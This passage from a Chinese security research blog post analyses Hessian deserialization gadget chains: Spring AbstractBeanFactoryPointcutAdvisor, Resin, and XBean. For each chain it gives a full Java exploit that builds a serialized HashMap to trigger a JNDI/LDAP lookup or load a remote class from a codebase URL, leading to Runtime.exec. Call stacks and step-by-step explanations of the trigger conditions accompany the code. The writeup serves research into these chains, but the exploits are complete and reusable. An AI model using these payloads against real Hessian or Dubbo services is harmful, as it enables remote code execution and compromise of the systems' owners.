                    throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
                } else {
                    return jndiObject;
                }
            } else {
                // 这里
                jndiObject = this.lookup(name, requiredType);
                this.singletonObjects.put(name, jndiObject);
                return jndiObject;
            }
        }
    }
    

    后面部分也是一致的,只需要在exp中加入

    HashSet<String> set = new HashSet<>();
    set.add(url);
    setFiled(simpleJndiBeanFactory, "shareableResources", set);
    

    调用栈:

    doInContext:155, JndiTemplate$1 (org.springframework.jndi)
    execute:87, JndiTemplate (org.springframework.jndi)
    lookup:152, JndiTemplate (org.springframework.jndi)
    lookup:179, JndiTemplate (org.springframework.jndi)
    lookup:95, JndiLocatorSupport (org.springframework.jndi)
    doGetSingleton:211, SimpleJndiBeanFactory (org.springframework.jndi.support)
    doGetType:219, SimpleJndiBeanFactory (org.springframework.jndi.support)
    getType:184, SimpleJndiBeanFactory (org.springframework.jndi.support)
    ...
    
  • 根据分析很容易理解exp构造,在exp构造中,很多类没有无参数构造方法,这里参考marshalsec中的设计,非常巧妙

Spring AbstractBeanFactoryPointcutAdvisor链

利用链

SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support)
AbstractBeanFactoryPointcutAdvisor.getAdvice()  (org.springframework.aop.support)  // 主要
AbstractPointcutAdvisor.equals()   (org.springframework.aop.support)
HotSwappableTargetSource.equals()    (org.springframework.aop.target) 
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP

package org.dili.hessian;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class AbstractBeanFactoryPointcutAdvisorHessian {
    public static void main(String[] args) throws Exception {
        // ldap url
        String url = "ldap://127.0.0.1:1389/ppkhjx";

        SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
        // String SimpleJndiBeanFactory = "org.springframework.jndi.support.SimpleJndiBeanFactory";
        // SimpleJndiBeanFactory beanFactory = (SimpleJndiBeanFactory) Class.forName(SimpleJndiBeanFactory).getDeclaredConstructor(new Class[]{}).newInstance();
        beanFactory.setShareableResources(url);

        String defaultBeanFactoryPointcutAdvisor = "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor";
        Constructor<?> constructor = Class.forName(defaultBeanFactoryPointcutAdvisor).getDeclaredConstructor(new Class[]{});
        DefaultBeanFactoryPointcutAdvisor advisor1 = (DefaultBeanFactoryPointcutAdvisor) constructor.newInstance();
        advisor1.setAdviceBeanName(url);
        advisor1.setBeanFactory(beanFactory);
        AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor();

        HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource("1");
        HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource("2");

        // 创建HashMap
        HashMap hashMap = new HashMap();
        hashMap.put(targetSource1, "111");
        hashMap.put(targetSource2, "222");

        String classname = "org.springframework.aop.target.HotSwappableTargetSource";
        setFiled(classname, targetSource1, "target", advisor1);
        setFiled(classname, targetSource2, "target", advisor2);

        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("JavaSec/out/AbstractBeanFactoryPointcutAdvisorHessian.bin");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(hashMap);
        hessian2Output.close();

        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("JavaSec/out/AbstractBeanFactoryPointcutAdvisorHessian.bin");
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();


    }

    public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
        Class<?> aClass = Class.forName(classname);
        Field field = aClass.getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }
}

函数调用栈

lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:211, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:111, SimpleJndiBeanFactory (org.springframework.jndi.support)
getAdvice:116, AbstractBeanFactoryPointcutAdvisor (org.springframework.aop.support)
equals:76, AbstractPointcutAdvisor (org.springframework.aop.support)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
main:74, AbstractBeanFactoryPointcutAdvisorHessian (org.dili.hessian)

详细分析

第一步

从Hessian2Input的readObject方法开始,和上面一致,来到MapDeserializer的readMap方法,同样进入while循环,读取完一轮后,即将exp中第一次的put读入map中

接着在第二轮中触发链的执行

第二步

同样根据HashMap的属性,会在第二轮读取键值对时进行equals方法的调用

此时的key为HotSwappableTargetSource对象,里面的target为AsyncAnnotationAdvisor对象;而k也为HotSwappableTargetSource对象,里面的参数为DefaultBeanFactoryPointcutAdvisor对象

第三步

进入HotSwappableTargetSource的equals方法,继续调用target的equals方法,同时传递的参数为k对象的target。由于AsyncAnnotationAdvisor对象没有equals方法,调用父类AbstractPointcutAdvisor的equals方法,此时的other为DefaultBeanFactoryPointcutAdvisor对象

@Override
public boolean equals(Object other) {
    // 满足条件1
    if (this == other) {
        return true;
    }
    // 满足条件2
    if (!(other instanceof PointcutAdvisor)) {
        return false;
    }
    PointcutAdvisor otherAdvisor = (PointcutAdvisor) other;
    // 触发点为getAdvice,也是第二个getAdvice方法
    return (ObjectUtils.nullSafeEquals(getAdvice(), otherAdvisor.getAdvice()) &&
            ObjectUtils.nullSafeEquals(getPointcut(), otherAdvisor.getPointcut()));
}

:关于两个if

  • 第一个:两个HotSwappableTargetSource对象里面的target不能一致
  • 第二个:传入的other对象需要是PointcutAdvisor实例,正好DefaultBeanFactoryPointcutAdvisor继承AbstractBeanFactoryPointcutAdvisor,而该类继承AbstractPointcutAdvisor,接着继承PointcutAdvisor,符合要求

第四步

进入DefaultBeanFactoryPointcutAdvisor对象的getAdvice方法,由于该类没有此方法,调用父类AbstractBeanFactoryPointcutAdvisor的getAdvice方法

@Override
public Advice getAdvice() {
    Advice advice = this.advice;
    // 条件1,正常实例化对象就是null,不太需要关注
    if (advice != null) {
        return advice;
    }

    // 这里需要关注
    Assert.state(this.adviceBeanName != null, "'adviceBeanName' must be specified");
    Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'");

    // 需要进入关键点,需要满足该条件
    if (this.beanFactory.isSingleton(this.adviceBeanName)) {
        // Rely on singleton semantics provided by the factory.
        // 关键点
        advice = this.beanFactory.getBean(this.adviceBeanName, Advice.class);
        this.advice = advice;
        return advice;
    }
    else {
        // No singleton guarantees from the factory -> let's lock locally but
        // reuse the factory's singleton lock, just in case a lazy dependency
        // of our advice bean happens to trigger the singleton lock implicitly...
        synchronized (this.adviceMonitor) {
            advice = this.advice;
            if (advice == null) {
                advice = this.beanFactory.getBean(this.adviceBeanName, Advice.class);
                this.advice = advice;
            }
            return advice;
        }
    }
}

这里和PartiallyComparableAdvisorHolder链的后半部分类似,需要借助SimpleJndiBeanFactory对象,因此将beanFactory属性设置为SimpleJndiBeanFactory对象,根据后面SimpleJndiBeanFactory对象的getBean方法,要将adviceBeanName设置为JNDI url

  • 这里的this.beanFactory.isSingleton(this.adviceBeanName)要返回true,根据分析,需要将SimpleJndiBeanFactory对象的shareableResources属性中塞入Ldap url,通过setShareableResources方法

第五步

进入SimpleJndiBeanFactory对象的getBean方法

public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
    try {
        // 关键点
        return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
    } catch (NameNotFoundException var4) {
        throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
    } catch (TypeMismatchNamingException var5) {
        throw new BeanNotOfRequiredTypeException(name, var5.getRequiredType(), var5.getActualType());
    } catch (NamingException var6) {
        throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", var6);
    }
}

这里的this.isSingleton(name)返回true或false都一样,因为后面两个最终都会到lookup处

第六步

后面部分跟PartiallyComparableAdvisorHolder链的后半部分一致

其他

  • 为什么要加入HotSwappableTargetSource对象的嵌套

    最初的目的想直接将DefaultBeanFactoryPointcutAdvisor对象put进入HashMap,没有这么做的原因有两点:

    • DefaultBeanFactoryPointcutAdvisor对象中的beanFactory与adviceBeanName属性在HashMap put之前设置,这样会导致在HashMap进行第二次put时出现异常,此时命令也执行成功,但是exp后面的序列化与反序列化部分未执行(这还有其他阻止异常的方式)

    • 基于上述原因,考虑将DefaultBeanFactoryPointcutAdvisor对象中的beanFactory与adviceBeanName属性在HashMap进行put之后,序列化之前进行设置,这样在进行第二次put时,来到DefaultBeanFactoryPointcutAdvisor对象的getAdvice方法中会出现问题

      Assert.state(this.adviceBeanName != null, "'adviceBeanName' must be specified");
      Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'");
      

      而Assert.state定义如下

      public static void state(boolean expression, String message) {
          if (!expression) {
              throw new IllegalStateException(message);
          }
      }
      

      此时this.adviceBeanName和this.beanFactory都为null,表达式为false,取反为true,故出现异常

    • 综上考虑,加入一层HotSwappableTargetSource对象,将HotSwappableTargetSource对象的target在put操作之后进行设置

  • 避免出现异常,exp执行终止而导致为序列化的方法

  • 在AbstractPointcutAdvisor类中的equals方法,存在两个getAdvice,其实在hashMap中,两个key调换顺序都会触发执行,只不过调用栈会有所不同

Resin链

依赖

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>resin</artifactId>
    <version>4.0.63</version>
</dependency>

利用链

NamingManager.getObjectFactoryFromReference() (javax.naming.spi)
NamingManager.getObjectInstance() (javax.naming.spi)
NamingManager.getContext() (javax.naming.spi)
ContinuationContext.getTargetContext() (javax.naming.spi)
ContinuationContext.composeName() (javax.naming.spi)   // 关键点
QName.toString() (com.caucho.naming)     // 关键点
XString.equals() (com.sun.org.apache.xpath.internal.objects)
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP

package org.dili.hessian;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class ResinHessian {
    public static void main(String[] args) throws Exception {
        String refAddr = "http://127.0.0.1:8888/";
        String refClassName = "test";

        Reference ref = new Reference(refClassName, refClassName, refAddr);

        Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
        String classname = "javax.naming.NamingException";
        setFiled(classname, cannotProceedException, "resolvedObj", ref);

        // 创建ContinuationContext对象
        Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        // 构造方法为protected修饰
        constructor.setAccessible(true);
        Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>());


        // 创建QName
        QName qName = new QName(continuationContext, "aaa", "bbb");
        String str = unhash(qName.hashCode());
        // 创建Xtring
        XString xString = new XString(str);

        // 创建HashMap
        HashMap hashMap = new HashMap();
        hashMap.put(qName, "111");
        hashMap.put(xString, "222");

        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("JavaSec/out/ResinHessian.bin");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(hashMap);
        hessian2Output.close();

        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("JavaSec/out/ResinHessian.bin");
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }

    public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
        Class<?> aClass = Class.forName(classname);
        Field field = aClass.getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }

    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }
}

函数调用栈

exec:347, Runtime (java.lang)
<init>:6, test
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
getContext:439, NamingManager (javax.naming.spi)
getTargetContext:55, ContinuationContext (javax.naming.spi)
composeName:180, ContinuationContext (javax.naming.spi)
toString:353, QName (com.caucho.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
main:62, ResinHessian (org.dili.hessian)

详细分析

第一步

还是同样的流程,Hessian2Input.readObject方法到MapDeserializer.readMap方法,来到关键的循环处,读取hashMap,依然是读取一轮后,在第二轮读取中触发

第二步

这条链依旧借助XString中的equals方法,所以在exp中第二次put进去的是XString对象,但是根据HashMap中putVal方法的了解,要想到达equals方法的调用处,需要满足前面的几个if条件:

  • (p = tab[i = (n - 1) & hash]) == null
  • p.hash == hash

其实这两个条件表达的意思一致,就是put进去的两个元素的hashcode要一致,这样才有资格到达equals方法处,第一个元素QName对象是需要利用的对象,固定不动,而XString是为了触发equals方法而构造的对象,对链的后半部分无影响,因此可以根据QName的hash来构造XString对象

  • 目标hash:QName中有hashCode方法,直接调用即可得到目标hash

  • 如何构造能够影响XString的hash

    查看其hashCode方法

    public int hashCode()
    {
    return str().hashCode();
    }
    

    查看str方法

    public String str()
    {
        return (null != m_obj) ? ((String) m_obj) : "";
    }
    

    即将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数

    现在的关键点在于根据String类的hashCode逻辑,得到该方法的逆操作,即根据hash值得到对应的string,然后将其作为m_obj

    详细的逆操作算法参考网上,详细查看exp中unhash

最终通过构造的XString即可绕过两个条件,调用XString的equals方法

第三步

在XString的equals方法中会调用传入参数的toString方法,即QName对象的toString方法

第四步

进入QName的toString方法

public String toString()
{
    String name = null;

    for (int i = 0; i < size(); i++) {
        String str = (String) get(i);

        if (name != null) {
            try {
                // 关键点
                name = _context.composeName(str, name);
            } catch (NamingException e) {
                name = name + "/" + str;
            }
        }
        else
            name = str;
    }

这里利用的是composeName方法,需要将_context属性设置为ContinuationContext对象,就能够调用其composeName方法进行下一步操作

那么需要到达关键点处,就需要满足相关条件,即name != null,在方法开始处name被赋值为null,只能看for循环中的操作,这里需要循环两次,第一次通过else为name赋值,第二次进入关键点,那么需要观察size方法和get方法

public int size()
{
    return _items.size();
}
public String get(int pos)
{
    if (pos < _items.size())
        return (String) _items.get(pos);
    else
        return null;
}

这里的items是一个数组

private ArrayList<String> _items = new ArrayList<String>();

因此只需要在构造QName时为_items赋值即可,有多种方法

  • 构造方法

    public QName(Context context, String first, String rest)
    {
        _context = context;
    
        if (first != null)
            _items.add(first);
        if (rest != null)
            _items.add(rest);
    }
    
  • 通过成员方法

    public Name add(int posn, String comp)
        throws InvalidNameException
    {
        _items.add(posn, comp);
    
        return this;
    }
    

第五步

进入ContinuationContext类的composeName方法

public String composeName(String name, String prefix)
    throws NamingException {
    // 关键点
    Context ctx = getTargetContext();
    return ctx.composeName(name, prefix);
}

进入getTargetContext方法

protected Context getTargetContext() throws NamingException {
    if (contCtx == null) {
        if (cpe.getResolvedObj() == null)
            throw (NamingException)cpe.fillInStackTrace();

        // 关键点
        contCtx = NamingManager.getContext(cpe.getResolvedObj(),
                                           cpe.getAltName(),
                                           cpe.getAltNameCtx(),
                                           env);
        if (contCtx == null)
            throw (NamingException)cpe.fillInStackTrace();
    }
    return contCtx;
}

首先观察关键点中所需要的参数,cpe和env,而到达关键点,需要满足if中的条件

  • contCtx == null,在构造中本身就不设置,所以不需要考虑
  • cpe.getResolvedObj()返回不为null,同时在关键点参数中也会用到,因此这里需要构造,不会为null

观察ContinuationContext的构造方法

protected ContinuationContext(CannotProceedException cpe,
                              Hashtable<?,?> env) {
    this.cpe = cpe;
    this.env = env;
}

两个点:

  • cpe为CannotProceedException对象,因此需要构造该类对象,因此getResolvedObj()等方法需要在构造CannotProceedException时设置
  • 该构造方法为protected修饰,因此通过反射得到对应的构造方法后,需要通过setAccess进行设置

第六步

进入NamingManager的getContext,看看需要传入什么参数

得到一个条件,传入的参数不能为Context实例

还是这些参数,继续进入getObjectInstance方法

public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{

    ObjectFactory factory;

    // Use builder if installed
    ObjectFactoryBuilder builder = getObjectFactoryBuilder();
    if (builder != null) {
        // builder must return non-null factory
        factory = builder.createObjectFactory(refInfo, environment);
        return factory.getObjectInstance(refInfo, name, nameCtx,
                                         environment);
    }

    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            // 关键点
            factory = getObjectFactoryFromReference(ref, f);
            // ....
    }
    // ...
}

其实这条链就是需要远程加载恶意类,根据代码,需要让refInfo为Reference实例,同时ref.getFactoryClassName()不为空,至于设置成分什么,继续观察后面方法,来到getObjectFactoryFromReference方法

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
InstantiationException,
MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
        clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
        (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            // 通过代码库加载工厂类
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }
    // 实例化类
    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

首先观察这里的helper.loadClass

static final VersionHelper helper = VersionHelper.getVersionHelper();

这里的helper是一个VersionHelper12对象,查看loadClass方法,其加载时使用了URLClassLoader

public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {

    ClassLoader parent = getContextClassLoader();
    // 这里
    ClassLoader cl =
        URLClassLoader.newInstance(getUrlArray(codebase), parent);

    return loadClass(className, cl);
}

这里可以通过远程代码库加载类,因此这里的factoryName可以设置为恶意类名,codebase设置为远程代码库地址

重新梳理一下:

前面提到,refInfo要为Reference类,根据getResolvedObj看cpe如何构造

CannotProceedException继承NamingException,调用父类的getResolvedObj方法

public Object getResolvedObj() {
    return resolvedObj;
}

因此在构造CannotProceedException对象时,需要将resolvedObj属性设置成构造的Reference对象

那么Reference如何构造,需要的点数据流如下:

  • cpe.getResolvedObj()——>refInfo——>ref——>ref.getFactoryClassName()——>f——>factoryName

    查看Reference的getFactoryClassName()方法

    public String getFactoryClassName() {
        return classFactory;
    }
    

    因此设置classFactory属性为恶意类名

  • cpe.getResolvedObj()——>refInfo——>ref.getFactoryClassLocation()——>codebase

    查看Reference的getFactoryClassLocation方法

    public String getFactoryClassLocation() {
        return classFactoryLocation;
    }
    

    设置classFactoryLocation属性为恶意的URL

  • 综上,选择合适的Reference的构造方法

    public Reference(String className, String factory, String factoryLocation) {
        this(className);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }
    

    选择这个即可

最终实例化后导致命令执行

XBean链

依赖

<dependency>
    <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-naming</artifactId>
    <version>4.24</version>
</dependency>

利用链

NamingManager.getObjectFactoryFromReference() (javax.naming.spi)
NamingManager.getObjectInstance() (javax.naming.spi)
ContextUtil.resolve()   (org.apache.xbean.naming.context)// 关键点
ContextUtil$ReadOnlyBinding.getObject() (org.apache.xbean.naming.context)// 关键点
Binding.toString() (com.caucho.naming)     // 关键点
XString.equals() (com.sun.org.apache.xpath.internal.objects)
HotSwappableTargetSource.equals()
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP

package org.dili.hessian;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.WritableContext;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.HashMap;

public class XbeanHessian {
    public static void main(String[] args) throws Exception {
        String refAddr = "http://127.0.0.1:8888/";
        String refClassName = "test";

        Reference ref = new Reference(refClassName, refClassName, refAddr);
        WritableContext writableContext = new WritableContext();

        // 创建ReadOnlyBinding对象
        String classname = "org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding";
        Object readOnlyBinding = Class.forName(classname).getDeclaredConstructor(String.class, Object.class, Context.class).newInstance("aaa", ref, writableContext);

        // 创建XString
        XString xString = new XString("bbb");

        HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(readOnlyBinding);
        HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(xString);

        //创建HashMap
        HashMap hashMap = new HashMap();
        hashMap.put(targetSource1, "111");
        hashMap.put(targetSource2, "222");

        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("JavaSec/out/XbeanHessian.bin");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(hashMap);
        hessian2Output.close();

        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("JavaSec/out/XbeanHessian.bin");
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }
}

函数调用栈

exec:347, Runtime (java.lang)
<init>:6, test
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
resolve:73, ContextUtil (org.apache.xbean.naming.context)
getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
main:58, XbeanHessian (org.dili.hessian)

详细分析

第一步

Hessian中readObject流程依旧没有变,触发点为MapDeserializer.readMap方法的第二次循环

第二步

进入第二个HotSwappableTargetSource对象的equals方法,调用第二个对象target属性的equals方法,传入的参数为第一个对象的target属性

第三步

在XString的equals方法中,会调用参数的toString方法,根据链子,这里将其设置为ContextUtil$ReadOnlyBinding对象,它继承了Binding类,因此会调用父类的toString方法,进入该方法

public String toString() {
    return super.toString() + ":" + getObject();
}

调用该对象的getObject方法

public Object getObject() {
    try {
        // 关键点
        return ContextUtil.resolve(this.value, this.getName(), (Name)null, this.context);
    } catch (NamingException var2) {
        throw new RuntimeException(var2);
    }
}

这里需要利用ContextUtil的resolve方法,查看该方法,观察传入的参数应该是什么?

public static Object resolve(Object value, String stringName, Name parsedName, Context nameCtx) throws NamingException {
    if (!(value instanceof Reference)) {
        return value;
    } else {
        Reference reference = (Reference)value;
        if (reference instanceof SimpleReference) {
            try {
                return ((SimpleReference)reference).getContent();
            } catch (NamingException var6) {
                throw var6;
            } catch (Exception var7) {
                throw (NamingException)(new NamingException("Could not look up : " + stringName == null ? parsedName.toString() : stringName)).initCause(var7);
            }
        } else {
            try {
                if (parsedName == null) {
                    parsedName = NAME_PARSER.parse(stringName);
                }

                // 关键点
                return NamingManager.getObjectInstance(reference, parsedName, nameCtx, nameCtx.getEnvironment());
            } 
            // ...
        }
    }
}

这个方法调用了NamingManager.getObjectInstance方法,这和Resin链后半部分是一样的,因此这里也是加载远程的恶意类导致RCE。根据上一条链,这里传入的reference即是构造的包含恶意URL的实例化Reference对象,它是通过value参数传入进来的

回到ContextUtil$ReadOnlyBinding对象的构造,需要将value属性设置为构造的Reference对象,同时context属性需要是Context子类的实例化对象,因为在resolve方法中传入的参数就是Context对象

后面的链不再重复,和Resin后半部分一样

其他

这里套用了一层HotSwappableTargetSource后,目的是为了绕过HashMap中putVal方法中到达equals方法前的两个条件,其实Resin链也可以这么做。

如果不借用HotSwappableTargetSource,通过hash逆求解得到Xtring后,在exp中的HashMap的put操作时能够满足条件,导致RCE,但是在反序列化的时候无法触发执行,并且调试后发现p.hash==hash过不了,原因未知

总结

本文详细描述了Hessian链的相关利用及exp构造的每一步解释,对于每一条通过分析构造EXP的过程非常有意思。代码:Java-Sec

Dubbo是一个开源的高性能、轻量级的分布式服务框架,最初由阿里巴巴集团开发并开源。它旨在提供可靠的远程服务调用和服务治理的解决方案,支持高性能和低延迟的分布式服务调用。Dubbo 支持多种网络通信协议,包括 RPC(默认)、HTTP 和 Hessian。这使得 Dubbo 可以适应不同的应用场景和技术栈。针对Hessian协议,Dubbo历史版本存在漏洞,下一步将对这些历史漏洞进行详细分析,了解Hessian的实际应用产生的漏洞。

0 条评论
某人
表情
可输入 255